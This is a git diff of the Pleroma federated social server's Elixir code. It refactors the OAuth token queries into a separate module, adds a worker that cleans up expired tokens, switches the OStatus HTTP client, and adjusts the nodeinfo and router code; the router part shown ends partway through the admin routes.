	+++ b/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex
	@@ -1,218 +1,216 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Nodeinfo.NodeinfoController do
	use Pleroma.Web, :controller

	alias Pleroma.Config
	alias Pleroma.Stats
	alias Pleroma.User
	alias Pleroma.Web
	alias Pleroma.Web.ActivityPub.MRF
	alias Pleroma.Web.Federator.Publisher

	- plug(Pleroma.Web.FederatingPlug)
	-
	def schemas(conn, _params) do
	response = %{
	links: [
	%{
	rel: "http://nodeinfo.diaspora.software/ns/schema/2.0",
	href: Web.base_url() <> "/nodeinfo/2.0.json"
	},
	%{
	rel: "http://nodeinfo.diaspora.software/ns/schema/2.1",
	href: Web.base_url() <> "/nodeinfo/2.1.json"
	}
	]
	}

	json(conn, response)
	end

	# returns a nodeinfo 2.0 map, since 2.1 just adds a repository field
	# under software.
	def raw_nodeinfo do
	instance = Application.get_env(:pleroma, :instance)
	media_proxy = Application.get_env(:pleroma, :media_proxy)
	suggestions = Application.get_env(:pleroma, :suggestions)
	chat = Application.get_env(:pleroma, :chat)
	gopher = Application.get_env(:pleroma, :gopher)
	stats = Stats.get_stats()

	mrf_simple =
	Application.get_env(:pleroma, :mrf_simple)
	\|> Enum.into(%{})

	# This horror is needed to convert regex sigils to strings
	mrf_keyword =
	Application.get_env(:pleroma, :mrf_keyword, [])
	\|> Enum.map(fn {key, value} ->
	{key,
	Enum.map(value, fn
	{pattern, replacement} ->
	%{
	"pattern" =>
	if not is_binary(pattern) do
	inspect(pattern)
	else
	pattern
	end,
	"replacement" => replacement
	}

	pattern ->
	if not is_binary(pattern) do
	inspect(pattern)
	else
	pattern
	end
	end)}
	end)
	\|> Enum.into(%{})

	mrf_policies =
	MRF.get_policies()
	\|> Enum.map(fn policy -> to_string(policy) \|> String.split(".") \|> List.last() end)

	quarantined = Keyword.get(instance, :quarantined_instances)

	quarantined =
	if is_list(quarantined) do
	quarantined
	else
	[]
	end

	staff_accounts =
	User.all_superusers()
	\|> Enum.map(fn u -> u.ap_id end)

	mrf_user_allowlist =
	Config.get([:mrf_user_allowlist], [])
	\|> Enum.into(%{}, fn {k, v} -> {k, length(v)} end)

	federation_response =
	if Keyword.get(instance, :mrf_transparency) do
	%{
	mrf_policies: mrf_policies,
	mrf_simple: mrf_simple,
	mrf_keyword: mrf_keyword,
	mrf_user_allowlist: mrf_user_allowlist,
	quarantined_instances: quarantined
	}
	else
	%{}
	end

	features =
	[
	"pleroma_api",
	"mastodon_api",
	"mastodon_api_streaming",
	if Keyword.get(media_proxy, :enabled) do
	"media_proxy"
	end,
	if Keyword.get(gopher, :enabled) do
	"gopher"
	end,
	if Keyword.get(chat, :enabled) do
	"chat"
	end,
	if Keyword.get(suggestions, :enabled) do
	"suggestions"
	end,
	if Keyword.get(instance, :allow_relay) do
	"relay"
	end,
	if Keyword.get(instance, :safe_dm_mentions) do
	"safe_dm_mentions"
	end
	]
	\|> Enum.filter(& &1)

	%{
	version: "2.0",
	software: %{
	name: Pleroma.Application.name() \|> String.downcase(),
	version: Pleroma.Application.version()
	},
	protocols: Publisher.gather_nodeinfo_protocol_names(),
	services: %{
	inbound: [],
	outbound: []
	},
	openRegistrations: Keyword.get(instance, :registrations_open),
	usage: %{
	users: %{
	total: stats.user_count \|\| 0
	},
	localPosts: stats.status_count \|\| 0
	},
	metadata: %{
	nodeName: Keyword.get(instance, :name),
	nodeDescription: Keyword.get(instance, :description),
	private: !Keyword.get(instance, :public, true),
	suggestions: %{
	enabled: Keyword.get(suggestions, :enabled, false),
	thirdPartyEngine: Keyword.get(suggestions, :third_party_engine, ""),
	timeout: Keyword.get(suggestions, :timeout, 5000),
	limit: Keyword.get(suggestions, :limit, 23),
	web: Keyword.get(suggestions, :web, "")
	},
	staffAccounts: staff_accounts,
	federation: federation_response,
	postFormats: Keyword.get(instance, :allowed_post_formats),
	uploadLimits: %{
	general: Keyword.get(instance, :upload_limit),
	avatar: Keyword.get(instance, :avatar_upload_limit),
	banner: Keyword.get(instance, :banner_upload_limit),
	background: Keyword.get(instance, :background_upload_limit)
	},
	accountActivationRequired: Keyword.get(instance, :account_activation_required, false),
	invitesEnabled: Keyword.get(instance, :invites_enabled, false),
	features: features,
	restrictedNicknames: Pleroma.Config.get([Pleroma.User, :restricted_nicknames])
	}
	}
	end

	# Schema definition: https://github.com/jhass/nodeinfo/blob/master/schemas/2.0/schema.json
	# and https://github.com/jhass/nodeinfo/blob/master/schemas/2.1/schema.json
	def nodeinfo(conn, %{"version" => "2.0"}) do
	conn
	\|> put_resp_header(
	"content-type",
	"application/json; profile=http://nodeinfo.diaspora.software/ns/schema/2.0#; charset=utf-8"
	)
	\|> json(raw_nodeinfo())
	end

	def nodeinfo(conn, %{"version" => "2.1"}) do
	raw_response = raw_nodeinfo()

	updated_software =
	raw_response
	\|> Map.get(:software)
	\|> Map.put(:repository, Pleroma.Application.repository())

	response =
	raw_response
	\|> Map.put(:software, updated_software)
	\|> Map.put(:version, "2.1")

	conn
	\|> put_resp_header(
	"content-type",
	"application/json; profile=http://nodeinfo.diaspora.software/ns/schema/2.1#; charset=utf-8"
	)
	\|> json(response)
	end

	def nodeinfo(conn, _) do
	conn
	\|> put_status(404)
	\|> json(%{error: "Nodeinfo schema version not handled"})
	end
	end
	diff --git a/lib/pleroma/web/oauth/token.ex b/lib/pleroma/web/oauth/token.ex
	index 66c95c2e9..f412f7eb2 100644
	--- a/lib/pleroma/web/oauth/token.ex
	+++ b/lib/pleroma/web/oauth/token.ex
	@@ -1,130 +1,126 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.Token do
	use Ecto.Schema

	- import Ecto.Query
	import Ecto.Changeset

	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.OAuth.App
	alias Pleroma.Web.OAuth.Authorization
	alias Pleroma.Web.OAuth.Token
	+ alias Pleroma.Web.OAuth.Token.Query

	@expires_in Pleroma.Config.get([:oauth2, :token_expires_in], 600)
	@type t :: %__MODULE__{}

	schema "oauth_tokens" do
	field(:token, :string)
	field(:refresh_token, :string)
	field(:scopes, {:array, :string}, default: [])
	field(:valid_until, :naive_datetime_usec)
	belongs_to(:user, User, type: Pleroma.FlakeId)
	belongs_to(:app, App)

	timestamps()
	end

	@doc "Gets token for app by access token"
	@spec get_by_token(App.t(), String.t()) :: {:ok, t()} \| {:error, :not_found}
	def get_by_token(%App{id: app_id} = _app, token) do
	- from(t in __MODULE__, where: t.app_id == ^app_id and t.token == ^token)
	+ Query.get_by_app(app_id)
	+ \|> Query.get_by_token(token)
	\|> Repo.find_resource()
	end

	@doc "Gets token for app by refresh token"
	@spec get_by_refresh_token(App.t(), String.t()) :: {:ok, t()} \| {:error, :not_found}
	def get_by_refresh_token(%App{id: app_id} = _app, token) do
	- from(t in __MODULE__,
	- where: t.app_id == ^app_id and t.refresh_token == ^token,
	- preload: [:user]
	- )
	+ Query.get_by_app(app_id)
	+ \|> Query.get_by_refresh_token(token)
	+ \|> Query.preload([:user])
	\|> Repo.find_resource()
	end

	@spec exchange_token(App.t(), Authorization.t()) ::
	{:ok, Token.t()} \| {:error, Changeset.t()}
	def exchange_token(app, auth) do
	with {:ok, auth} <- Authorization.use_token(auth),
	true <- auth.app_id == app.id do
	user = if auth.user_id, do: User.get_cached_by_id(auth.user_id), else: %User{}

	create_token(
	app,
	user,
	%{scopes: auth.scopes}
	)
	end
	end

	defp put_token(changeset) do
	changeset
	\|> change(%{token: Token.Utils.generate_token()})
	\|> validate_required([:token])
	\|> unique_constraint(:token)
	end

	defp put_refresh_token(changeset, attrs) do
	refresh_token = Map.get(attrs, :refresh_token, Token.Utils.generate_token())

	changeset
	\|> change(%{refresh_token: refresh_token})
	\|> validate_required([:refresh_token])
	\|> unique_constraint(:refresh_token)
	end

	defp put_valid_until(changeset, attrs) do
	expires_in =
	Map.get(attrs, :valid_until, NaiveDateTime.add(NaiveDateTime.utc_now(), @expires_in))

	changeset
	\|> change(%{valid_until: expires_in})
	\|> validate_required([:valid_until])
	end

	@spec create_token(App.t(), User.t(), map()) :: {:ok, Token} \| {:error, Changeset.t()}
	def create_token(%App{} = app, %User{} = user, attrs \\ %{}) do
	%__MODULE__{user_id: user.id, app_id: app.id}
	\|> cast(%{scopes: attrs[:scopes] \|\| app.scopes}, [:scopes])
	\|> validate_required([:scopes, :app_id])
	\|> put_valid_until(attrs)
	\|> put_token()
	\|> put_refresh_token(attrs)
	\|> Repo.insert()
	end

	def delete_user_tokens(%User{id: user_id}) do
	- from(
	- t in Token,
	- where: t.user_id == ^user_id
	- )
	+ Query.get_by_user(user_id)
	\|> Repo.delete_all()
	end

	def delete_user_token(%User{id: user_id}, token_id) do
	- from(
	- t in Token,
	- where: t.user_id == ^user_id,
	- where: t.id == ^token_id
	- )
	+ Query.get_by_user(user_id)
	+ \|> Query.get_by_id(token_id)
	+ \|> Repo.delete_all()
	+ end
	+
	+ def delete_expired_tokens do
	+ Query.get_expired_tokens()
	\|> Repo.delete_all()
	end

	def get_user_tokens(%User{id: user_id}) do
	- from(
	- t in Token,
	- where: t.user_id == ^user_id
	- )
	+ Query.get_by_user(user_id)
	+ \|> Query.preload([:app])
	\|> Repo.all()
	- \|> Repo.preload(:app)
	end

	def is_expired?(%__MODULE__{valid_until: valid_until}) do
	NaiveDateTime.diff(NaiveDateTime.utc_now(), valid_until) > 0
	end

	def is_expired?(_), do: false
	end
	diff --git a/lib/pleroma/web/oauth/token/clean_worker.ex b/lib/pleroma/web/oauth/token/clean_worker.ex
	new file mode 100644
	index 000000000..dca852449
	--- /dev/null
	+++ b/lib/pleroma/web/oauth/token/clean_worker.ex
	@@ -0,0 +1,41 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.Web.OAuth.Token.CleanWorker do
	+ @moduledoc """
	+ The module represents functions to clean an expired oauth tokens.
	+ """
	+
	+ # 10 seconds
	+ @start_interval 10_000
	+ @interval Pleroma.Config.get(
	+ # 24 hours
	+ [:oauth2, :clean_expired_tokens_interval],
	+ 86_400_000
	+ )
	+ @queue :background
	+
	+ alias Pleroma.Web.OAuth.Token
	+
	+ def start_link, do: GenServer.start_link(__MODULE__, nil)
	+
	+ def init(_) do
	+ if Pleroma.Config.get([:oauth2, :clean_expired_tokens], false) do
	+ Process.send_after(self(), :perform, @start_interval)
	+ {:ok, nil}
	+ else
	+ :ignore
	+ end
	+ end
	+
	+ @doc false
	+ def handle_info(:perform, state) do
	+ Process.send_after(self(), :perform, @interval)
	+ PleromaJobQueue.enqueue(@queue, __MODULE__, [:clean])
	+ {:noreply, state}
	+ end
	+
	+ # Job Worker Callbacks
	+ def perform(:clean), do: Token.delete_expired_tokens()
	+end
	diff --git a/lib/pleroma/web/oauth/token/query.ex b/lib/pleroma/web/oauth/token/query.ex
	new file mode 100644
	index 000000000..d92e1f071
	--- /dev/null
	+++ b/lib/pleroma/web/oauth/token/query.ex
	@@ -0,0 +1,55 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.Web.OAuth.Token.Query do
	+ @moduledoc """
	+ Contains queries for OAuth Token.
	+ """
	+
	+ import Ecto.Query, only: [from: 2]
	+
	+ @type query :: Ecto.Queryable.t() \| Token.t()
	+
	+ alias Pleroma.Web.OAuth.Token
	+
	+ @spec get_by_refresh_token(query, String.t()) :: query
	+ def get_by_refresh_token(query \\ Token, refresh_token) do
	+ from(q in query, where: q.refresh_token == ^refresh_token)
	+ end
	+
	+ @spec get_by_token(query, String.t()) :: query
	+ def get_by_token(query \\ Token, token) do
	+ from(q in query, where: q.token == ^token)
	+ end
	+
	+ @spec get_by_app(query, String.t()) :: query
	+ def get_by_app(query \\ Token, app_id) do
	+ from(q in query, where: q.app_id == ^app_id)
	+ end
	+
	+ @spec get_by_id(query, String.t()) :: query
	+ def get_by_id(query \\ Token, id) do
	+ from(q in query, where: q.id == ^id)
	+ end
	+
	+ @spec get_expired_tokens(query, DateTime.t() \| nil) :: query
	+ def get_expired_tokens(query \\ Token, date \\ nil) do
	+ expired_date = date \|\| Timex.now()
	+ from(q in query, where: fragment("?", q.valid_until) < ^expired_date)
	+ end
	+
	+ @spec get_by_user(query, String.t()) :: query
	+ def get_by_user(query \\ Token, user_id) do
	+ from(q in query, where: q.user_id == ^user_id)
	+ end
	+
	+ @spec preload(query, any) :: query
	+ def preload(query \\ Token, assoc_preload \\ [])
	+
	+ def preload(query, assoc_preload) when is_list(assoc_preload) do
	+ from(q in query, preload: ^assoc_preload)
	+ end
	+
	+ def preload(query, _assoc_preload), do: query
	+end
	diff --git a/lib/pleroma/web/ostatus/ostatus.ex b/lib/pleroma/web/ostatus/ostatus.ex
	index 61515b31e..6ed089d84 100644
	--- a/lib/pleroma/web/ostatus/ostatus.ex
	+++ b/lib/pleroma/web/ostatus/ostatus.ex
	@@ -1,404 +1,403 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OStatus do
	- @httpoison Application.get_env(:pleroma, :httpoison)
	-
	import Ecto.Query
	import Pleroma.Web.XML
	require Logger

	alias Pleroma.Activity
	+ alias Pleroma.HTTP
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.OStatus.DeleteHandler
	alias Pleroma.Web.OStatus.FollowHandler
	alias Pleroma.Web.OStatus.NoteHandler
	alias Pleroma.Web.OStatus.UnfollowHandler
	alias Pleroma.Web.WebFinger
	alias Pleroma.Web.Websub

	def is_representable?(%Activity{} = activity) do
	object = Object.normalize(activity)

	cond do
	is_nil(object) ->
	false

	Visibility.is_public?(activity) && object.data["type"] == "Note" ->
	true

	true ->
	false
	end
	end

	def feed_path(user) do
	"#{user.ap_id}/feed.atom"
	end

	def pubsub_path(user) do
	"#{Web.base_url()}/push/hub/#{user.nickname}"
	end

	def salmon_path(user) do
	"#{user.ap_id}/salmon"
	end

	def remote_follow_path do
	"#{Web.base_url()}/ostatus_subscribe?acct={uri}"
	end

	def handle_incoming(xml_string) do
	with doc when doc != :error <- parse_document(xml_string) do
	with {:ok, actor_user} <- find_make_or_update_user(doc),
	do: Pleroma.Instances.set_reachable(actor_user.ap_id)

	entries = :xmerl_xpath.string('//entry', doc)

	activities =
	Enum.map(entries, fn entry ->
	{:xmlObj, :string, object_type} =
	:xmerl_xpath.string('string(/entry/activity:object-type[1])', entry)

	{:xmlObj, :string, verb} = :xmerl_xpath.string('string(/entry/activity:verb[1])', entry)
	Logger.debug("Handling #{verb}")

	try do
	case verb do
	'http://activitystrea.ms/schema/1.0/delete' ->
	with {:ok, activity} <- DeleteHandler.handle_delete(entry, doc), do: activity

	'http://activitystrea.ms/schema/1.0/follow' ->
	with {:ok, activity} <- FollowHandler.handle(entry, doc), do: activity

	'http://activitystrea.ms/schema/1.0/unfollow' ->
	with {:ok, activity} <- UnfollowHandler.handle(entry, doc), do: activity

	'http://activitystrea.ms/schema/1.0/share' ->
	with {:ok, activity, retweeted_activity} <- handle_share(entry, doc),
	do: [activity, retweeted_activity]

	'http://activitystrea.ms/schema/1.0/favorite' ->
	with {:ok, activity, favorited_activity} <- handle_favorite(entry, doc),
	do: [activity, favorited_activity]

	_ ->
	case object_type do
	'http://activitystrea.ms/schema/1.0/note' ->
	with {:ok, activity} <- NoteHandler.handle_note(entry, doc), do: activity

	'http://activitystrea.ms/schema/1.0/comment' ->
	with {:ok, activity} <- NoteHandler.handle_note(entry, doc), do: activity

	_ ->
	Logger.error("Couldn't parse incoming document")
	nil
	end
	end
	rescue
	e ->
	Logger.error("Error occured while handling activity")
	Logger.error(xml_string)
	Logger.error(inspect(e))
	nil
	end
	end)
	\|> Enum.filter(& &1)

	{:ok, activities}
	else
	_e -> {:error, []}
	end
	end

	def make_share(entry, doc, retweeted_activity) do
	with {:ok, actor} <- find_make_or_update_user(doc),
	%Object{} = object <- Object.normalize(retweeted_activity),
	id when not is_nil(id) <- string_from_xpath("/entry/id", entry),
	{:ok, activity, _object} = ActivityPub.announce(actor, object, id, false) do
	{:ok, activity}
	end
	end

	def handle_share(entry, doc) do
	with {:ok, retweeted_activity} <- get_or_build_object(entry),
	{:ok, activity} <- make_share(entry, doc, retweeted_activity) do
	{:ok, activity, retweeted_activity}
	else
	e -> {:error, e}
	end
	end

	def make_favorite(entry, doc, favorited_activity) do
	with {:ok, actor} <- find_make_or_update_user(doc),
	%Object{} = object <- Object.normalize(favorited_activity),
	id when not is_nil(id) <- string_from_xpath("/entry/id", entry),
	{:ok, activity, _object} = ActivityPub.like(actor, object, id, false) do
	{:ok, activity}
	end
	end

	def get_or_build_object(entry) do
	with {:ok, activity} <- get_or_try_fetching(entry) do
	{:ok, activity}
	else
	_e ->
	with [object] <- :xmerl_xpath.string('/entry/activity:object', entry) do
	NoteHandler.handle_note(object, object)
	end
	end
	end

	def get_or_try_fetching(entry) do
	Logger.debug("Trying to get entry from db")

	with id when not is_nil(id) <- string_from_xpath("//activity:object[1]/id", entry),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id_with_object(id) do
	{:ok, activity}
	else
	_ ->
	Logger.debug("Couldn't get, will try to fetch")

	with href when not is_nil(href) <-
	string_from_xpath("//activity:object[1]/link[@type=\"text/html\"]/@href", entry),
	{:ok, [favorited_activity]} <- fetch_activity_from_url(href) do
	{:ok, favorited_activity}
	else
	e -> Logger.debug("Couldn't find href: #{inspect(e)}")
	end
	end
	end

	def handle_favorite(entry, doc) do
	with {:ok, favorited_activity} <- get_or_try_fetching(entry),
	{:ok, activity} <- make_favorite(entry, doc, favorited_activity) do
	{:ok, activity, favorited_activity}
	else
	e -> {:error, e}
	end
	end

	def get_attachments(entry) do
	:xmerl_xpath.string('/entry/link[@rel="enclosure"]', entry)
	\|> Enum.map(fn enclosure ->
	with href when not is_nil(href) <- string_from_xpath("/link/@href", enclosure),
	type when not is_nil(type) <- string_from_xpath("/link/@type", enclosure) do
	%{
	"type" => "Attachment",
	"url" => [
	%{
	"type" => "Link",
	"mediaType" => type,
	"href" => href
	}
	]
	}
	end
	end)
	\|> Enum.filter(& &1)
	end

	@doc """
	Gets the content from a an entry.
	"""
	def get_content(entry) do
	string_from_xpath("//content", entry)
	end

	@doc """
	Get the cw that mastodon uses.
	"""
	def get_cw(entry) do
	with cw when not is_nil(cw) <- string_from_xpath("/*/summary", entry) do
	cw
	else
	_e -> nil
	end
	end

	def get_tags(entry) do
	:xmerl_xpath.string('//category', entry)
	\|> Enum.map(fn category -> string_from_xpath("/category/@term", category) end)
	\|> Enum.filter(& &1)
	\|> Enum.map(&String.downcase/1)
	end

	def maybe_update(doc, user) do
	if "true" == string_from_xpath("//author[1]/ap_enabled", doc) do
	Transmogrifier.upgrade_user_from_ap_id(user.ap_id)
	else
	maybe_update_ostatus(doc, user)
	end
	end

	def maybe_update_ostatus(doc, user) do
	old_data = %{
	avatar: user.avatar,
	bio: user.bio,
	name: user.name
	}

	with false <- user.local,
	avatar <- make_avatar_object(doc),
	bio <- string_from_xpath("//author[1]/summary", doc),
	name <- string_from_xpath("//author[1]/poco:displayName", doc),
	new_data <- %{
	avatar: avatar \|\| old_data.avatar,
	name: name \|\| old_data.name,
	bio: bio \|\| old_data.bio
	},
	false <- new_data == old_data do
	change = Ecto.Changeset.change(user, new_data)
	User.update_and_set_cache(change)
	else
	_ ->
	{:ok, user}
	end
	end

	def find_make_or_update_user(doc) do
	uri = string_from_xpath("//author/uri[1]", doc)

	with {:ok, user} <- find_or_make_user(uri) do
	maybe_update(doc, user)
	end
	end

	def find_or_make_user(uri) do
	query = from(user in User, where: user.ap_id == ^uri)

	user = Repo.one(query)

	if is_nil(user) do
	make_user(uri)
	else
	{:ok, user}
	end
	end

	def make_user(uri, update \\ false) do
	with {:ok, info} <- gather_user_info(uri) do
	data = %{
	name: info["name"],
	nickname: info["nickname"] <> "@" <> info["host"],
	ap_id: info["uri"],
	info: info,
	avatar: info["avatar"],
	bio: info["bio"]
	}

	with false <- update,
	%User{} = user <- User.get_cached_by_ap_id(data.ap_id) do
	{:ok, user}
	else
	_e -> User.insert_or_update_user(data)
	end
	end
	end

	# TODO: Just takes the first one for now.
	def make_avatar_object(author_doc, rel \\ "avatar") do
	href = string_from_xpath("//author[1]/link[@rel=\"#{rel}\"]/@href", author_doc)
	type = string_from_xpath("//author[1]/link[@rel=\"#{rel}\"]/@type", author_doc)

	if href do
	%{
	"type" => "Image",
	"url" => [
	%{
	"type" => "Link",
	"mediaType" => type,
	"href" => href
	}
	]
	}
	else
	nil
	end
	end

	def gather_user_info(username) do
	with {:ok, webfinger_data} <- WebFinger.finger(username),
	{:ok, feed_data} <- Websub.gather_feed_data(webfinger_data["topic"]) do
	{:ok, Map.merge(webfinger_data, feed_data) \|> Map.put("fqn", username)}
	else
	e ->
	Logger.debug(fn -> "Couldn't gather info for #{username}" end)
	{:error, e}
	end
	end

	# Regex-based 'parsing' so we don't have to pull in a full html parser
	# It's a hack anyway. Maybe revisit this in the future
	@mastodon_regex ~r/<link href='(.*)' rel='alternate' type='application\/atom\+xml'>/
	@gs_regex ~r/<link title=.* href="(.*)" type="application\/atom\+xml" rel="alternate">/
	@gs_classic_regex ~r/<link rel="alternate" href="(.)" type="application\/atom\+xml" title=.>/
	def get_atom_url(body) do
	cond do
	Regex.match?(@mastodon_regex, body) ->
	[[_, match]] = Regex.scan(@mastodon_regex, body)
	{:ok, match}

	Regex.match?(@gs_regex, body) ->
	[[_, match]] = Regex.scan(@gs_regex, body)
	{:ok, match}

	Regex.match?(@gs_classic_regex, body) ->
	[[_, match]] = Regex.scan(@gs_classic_regex, body)
	{:ok, match}

	true ->
	Logger.debug(fn -> "Couldn't find Atom link in #{inspect(body)}" end)
	{:error, "Couldn't find the Atom link"}
	end
	end

	def fetch_activity_from_atom_url(url) do
	with true <- String.starts_with?(url, "http"),
	{:ok, %{body: body, status: code}} when code in 200..299 <-
	- @httpoison.get(
	+ HTTP.get(
	url,
	[{:Accept, "application/atom+xml"}]
	) do
	Logger.debug("Got document from #{url}, handling...")
	handle_incoming(body)
	else
	e ->
	Logger.debug("Couldn't get #{url}: #{inspect(e)}")
	e
	end
	end

	def fetch_activity_from_html_url(url) do
	Logger.debug("Trying to fetch #{url}")

	with true <- String.starts_with?(url, "http"),
	- {:ok, %{body: body}} <- @httpoison.get(url, []),
	+ {:ok, %{body: body}} <- HTTP.get(url, []),
	{:ok, atom_url} <- get_atom_url(body) do
	fetch_activity_from_atom_url(atom_url)
	else
	e ->
	Logger.debug("Couldn't get #{url}: #{inspect(e)}")
	e
	end
	end

	def fetch_activity_from_url(url) do
	with {:ok, [_ \| _] = activities} <- fetch_activity_from_atom_url(url) do
	{:ok, activities}
	else
	_e -> fetch_activity_from_html_url(url)
	end
	rescue
	e ->
	Logger.debug("Couldn't get #{url}: #{inspect(e)}")
	{:error, "Couldn't get #{url}: #{inspect(e)}"}
	end
	end
	diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
	index 4c29b24eb..352268b96 100644
	--- a/lib/pleroma/web/router.ex
	+++ b/lib/pleroma/web/router.ex
	@@ -1,762 +1,774 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Router do
	use Pleroma.Web, :router

	pipeline :browser do
	plug(:accepts, ["html"])
	plug(:fetch_session)
	end

	pipeline :oauth do
	plug(:fetch_session)
	plug(Pleroma.Plugs.OAuthPlug)
	end

	pipeline :api do
	plug(:accepts, ["json"])
	plug(:fetch_session)
	plug(Pleroma.Plugs.OAuthPlug)
	plug(Pleroma.Plugs.BasicAuthDecoderPlug)
	plug(Pleroma.Plugs.UserFetcherPlug)
	plug(Pleroma.Plugs.SessionAuthenticationPlug)
	plug(Pleroma.Plugs.LegacyAuthenticationPlug)
	plug(Pleroma.Plugs.AuthenticationPlug)
	plug(Pleroma.Plugs.UserEnabledPlug)
	plug(Pleroma.Plugs.SetUserSessionIdPlug)
	plug(Pleroma.Plugs.EnsureUserKeyPlug)
	end

	pipeline :authenticated_api do
	plug(:accepts, ["json"])
	plug(:fetch_session)
	plug(Pleroma.Plugs.OAuthPlug)
	plug(Pleroma.Plugs.BasicAuthDecoderPlug)
	plug(Pleroma.Plugs.UserFetcherPlug)
	plug(Pleroma.Plugs.SessionAuthenticationPlug)
	plug(Pleroma.Plugs.LegacyAuthenticationPlug)
	plug(Pleroma.Plugs.AuthenticationPlug)
	plug(Pleroma.Plugs.UserEnabledPlug)
	plug(Pleroma.Plugs.SetUserSessionIdPlug)
	plug(Pleroma.Plugs.EnsureAuthenticatedPlug)
	end

	pipeline :admin_api do
	plug(:accepts, ["json"])
	plug(:fetch_session)
	plug(Pleroma.Plugs.OAuthPlug)
	plug(Pleroma.Plugs.BasicAuthDecoderPlug)
	plug(Pleroma.Plugs.UserFetcherPlug)
	plug(Pleroma.Plugs.SessionAuthenticationPlug)
	plug(Pleroma.Plugs.LegacyAuthenticationPlug)
	plug(Pleroma.Plugs.AuthenticationPlug)
	plug(Pleroma.Plugs.AdminSecretAuthenticationPlug)
	plug(Pleroma.Plugs.UserEnabledPlug)
	plug(Pleroma.Plugs.SetUserSessionIdPlug)
	plug(Pleroma.Plugs.EnsureAuthenticatedPlug)
	plug(Pleroma.Plugs.UserIsAdminPlug)
	end

	pipeline :mastodon_html do
	plug(:accepts, ["html"])
	plug(:fetch_session)
	plug(Pleroma.Plugs.OAuthPlug)
	plug(Pleroma.Plugs.BasicAuthDecoderPlug)
	plug(Pleroma.Plugs.UserFetcherPlug)
	plug(Pleroma.Plugs.SessionAuthenticationPlug)
	plug(Pleroma.Plugs.LegacyAuthenticationPlug)
	plug(Pleroma.Plugs.AuthenticationPlug)
	plug(Pleroma.Plugs.UserEnabledPlug)
	plug(Pleroma.Plugs.SetUserSessionIdPlug)
	plug(Pleroma.Plugs.EnsureUserKeyPlug)
	end

	pipeline :pleroma_html do
	plug(:accepts, ["html"])
	plug(:fetch_session)
	plug(Pleroma.Plugs.OAuthPlug)
	plug(Pleroma.Plugs.BasicAuthDecoderPlug)
	plug(Pleroma.Plugs.UserFetcherPlug)
	plug(Pleroma.Plugs.SessionAuthenticationPlug)
	plug(Pleroma.Plugs.AuthenticationPlug)
	plug(Pleroma.Plugs.EnsureUserKeyPlug)
	end

	pipeline :oauth_read_or_public do
	plug(Pleroma.Plugs.OAuthScopesPlug, %{
	scopes: ["read"],
	fallback: :proceed_unauthenticated
	})

	plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug)
	end

	pipeline :oauth_read do
	plug(Pleroma.Plugs.OAuthScopesPlug, %{scopes: ["read"]})
	end

	pipeline :oauth_write do
	plug(Pleroma.Plugs.OAuthScopesPlug, %{scopes: ["write"]})
	end

	pipeline :oauth_follow do
	plug(Pleroma.Plugs.OAuthScopesPlug, %{scopes: ["follow"]})
	end

	pipeline :oauth_push do
	plug(Pleroma.Plugs.OAuthScopesPlug, %{scopes: ["push"]})
	end

	pipeline :well_known do
	plug(:accepts, ["json", "jrd+json", "xml", "xrd+xml"])
	end

	pipeline :config do
	plug(:accepts, ["json", "xml"])
	end

	pipeline :pleroma_api do
	plug(:accepts, ["html", "json"])
	end

	pipeline :mailbox_preview do
	plug(:accepts, ["html"])

	plug(:put_secure_browser_headers, %{
	"content-security-policy" =>
	"default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline' 'unsafe-eval'"
	})
	end

	scope "/api/pleroma", Pleroma.Web.TwitterAPI do
	pipe_through(:pleroma_api)

	get("/password_reset/:token", UtilController, :show_password_reset)
	post("/password_reset", UtilController, :password_reset)
	get("/emoji", UtilController, :emoji)
	get("/captcha", UtilController, :captcha)
	get("/healthcheck", UtilController, :healthcheck)
	end

	scope "/api/pleroma", Pleroma.Web do
	pipe_through(:pleroma_api)
	post("/uploader_callback/:upload_path", UploaderController, :callback)
	end

	scope "/api/pleroma/admin", Pleroma.Web.AdminAPI do
	pipe_through([:admin_api, :oauth_write])

	post("/users/follow", AdminAPIController, :user_follow)
	post("/users/unfollow", AdminAPIController, :user_unfollow)

	# TODO: to be removed at version 1.0
	delete("/user", AdminAPIController, :user_delete)
	post("/user", AdminAPIController, :user_create)

	delete("/users", AdminAPIController, :user_delete)
	post("/users", AdminAPIController, :user_create)
	patch("/users/:nickname/toggle_activation", AdminAPIController, :user_toggle_activation)
	put("/users/tag", AdminAPIController, :tag_users)
	delete("/users/tag", AdminAPIController, :untag_users)

	# TODO: to be removed at version 1.0
	get("/permission_group/:nickname", AdminAPIController, :right_get)
	get("/permission_group/:nickname/:permission_group", AdminAPIController, :right_get)
	post("/permission_group/:nickname/:permission_group", AdminAPIController, :right_add)
	delete("/permission_group/:nickname/:permission_group", AdminAPIController, :right_delete)

	get("/users/:nickname/permission_group", AdminAPIController, :right_get)
